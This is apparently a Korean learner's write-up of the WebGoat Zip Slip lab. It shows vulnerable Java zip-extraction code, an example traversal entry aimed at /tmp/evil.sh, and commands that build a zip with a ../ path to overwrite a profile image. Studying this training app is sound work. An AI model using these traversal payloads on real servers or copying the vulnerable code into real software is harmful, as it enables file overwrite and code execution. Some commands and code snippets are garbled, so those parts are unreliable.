SQL Injection (mitigation) - 7. Zip Slip assignment
[ 이론 ]
6. Zip Slip vulnerability
(제멋대로 해석이 가미되었습니다.)
개발자로서, zip 파일을 다룰 때가 많다. 예를 들어, 업로드 기능을 생각하거나 zip 파일로 업로드되는 CSV 파일 묶음을 처리하는 경우가 있다. path traversal를 통해, 의도된 타겟 폴더 외부의 파일들을 덮어쓰려할 수 있다. 예를들어, zip 파일을 추출하는 동안 ls 명령을 덮어쓸 수 있다. 사용자가 ls를 타이핑 할 때마다 이 명령어가 다른 악성 행위로 대체된다면 사용자를 위한 진짜 명령이 보여지기 전에 목록 결과를 서버로 전송할 수 있다. 그렇기 때문에 너는 원격 명령을 실행할 수 있다.
- 문제
Java에서 zip 파일을 추출하는 흔한 방식은 다음과 같다 :
File destinationDir = new File("/tmp/zip");
Enumeration<? extends ZipEntry> entries = zip.entries();
while (entries.hasMoreElements()) {
ZipEntry e = entries.nextElement();
File f = new File(destinationDir, e.getName());
InputStream is = zip.getInputStream(e);
IOUtils.copy(is, write(f));
}
언뜻 보면(At first glance), 이것은 괜찮아 보이고 너는 같은 코드를 작성한다. 문제는, 우리가 이전 할당에서 보았듯, path traversal를 이용해서 destinationDir를 벗어나 다른 위치로 이동할 수 있다.
하지만 만약 다음 내용과 함께 zip file을 받는다면?
orders.csv
../../../../../../../tmp/evil.sh
만약 저 코드가 포함된 zip file을 추출한다면 /tmp/evil.sh에 파일이 저장될 것 이다.
[ 문제 ]
7. Zip Slip assignment
이번에 개발자는 너가 zip 파일 업로드만을 허가하였지만, 프로그래밍을 실수하여 업로드된 zip 파일이 추출될 것이지만 너의 이미지를 대체하진 않을 것이다. 프로그래밍 실수를 우회하여 현재 너의 사진을 덮어쓰는 방법을 찾을 수 있는가?
[ 풀이 ]
8. Solution
먼저 이미지를 포함한 zip 파일을 생성한다.
curl -o cat.jpg http://localhost:8080/WebGoat/images/cats/1.jpg
// 해당 경로의 1.jpg 파일을 cat.jpg 파일로 받는다.
zip profile.zip cat.jpg
// cat.jpg 파일을 profile.zip 파일로 압축한다.
이제 프로필 이미지로 업로드하면, 소프트웨어에 버그가 있는 것처럼 아무 일도 일어나지 않고 화면엔 다음과 같은 결과가 나타난다.
Zip file extracted successfully, failed to copy image. Please contact our helpdesk.
최상위 경로로 이동한 다음 할당된 directory로 이동하도록 zip 파일을 생성한다. 먼저 directory 구조를 생성한다.
mkdir -p C:\Users\WooJaYoung/.webgoat-8.2.0/PathTraversal/qwer1234
cd C:\Users\WooJaYoung/.webgoat-8.2.0/PathTraversal/qwer1234
curl -o qwer1234 http://localhost:8080/WebGoat/images/cats/1.jpg
zip profile.zip ../../../../../../../..C:\Users\WooJaYoung/.webgoat-8.2.0/PathTraversal/qwer1234/qwer1234.jpg
이제 해당 zip 파일을 업로드한다면 할당이 해결될 것 이다.
왜 이게 작동할까?
개발자들이 해당 코드 조각을 사용했다.
ZipFile zip = new ZipFile(uploadedZipFile);
Enumeration<? extends ZipEntry> entries = zip.entries();
while (entries.hasMoreElements()) {
ZipEntry e = entries.nextElement();
File profilePicture = new File(uploadDirectory, e.getName());
InputStream is = zip.getInputStream(e);
Files.copy(is, f.toPath(), StandardCopyOption.REPLACE_EXISTING);
}
???? 이해가 잘 안된다....